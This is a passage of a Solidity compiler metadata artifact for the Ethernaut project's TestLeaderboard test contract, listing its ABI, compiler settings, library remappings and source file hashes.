":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testGetAverageTimeTaken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testGetTimeTaken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testGetAverageTimeTaken()\":{\"notice\":\"Tests calculation of average time taken to complete level.\"},\"testGetTimeTaken()\":{\"notice\":\"Check the retrieval of time taken to complete levels.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/metrics/Leaderboard.t.sol\":\"TestLeaderboard\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/metrics/Leaderboard.t.sol\":{\"keccak256\":\"0x1232cb8bc1c162221849ffd609b7b13423f234d504034346ec782591ce70e097\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2ac0bf93e7a296f38f771f5048b81982cb516f95cf2bc61e06741646a172df43\",\"dweb:/ipfs/Qmb7awrVYctzkiHVit8794nqNFVpjbqzLRRiW7cVyzoeuS\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testGetAverageTimeTaken"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testGetTimeTaken"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testGetAverageTimeTaken()":{"notice":"Tests calculation of average time taken to complete level."},"testGetTimeTaken()":{"notice":"Check the retrieval of time taken to complete levels."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/metrics/Leaderboard.t.sol":"TestLeaderboard"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d36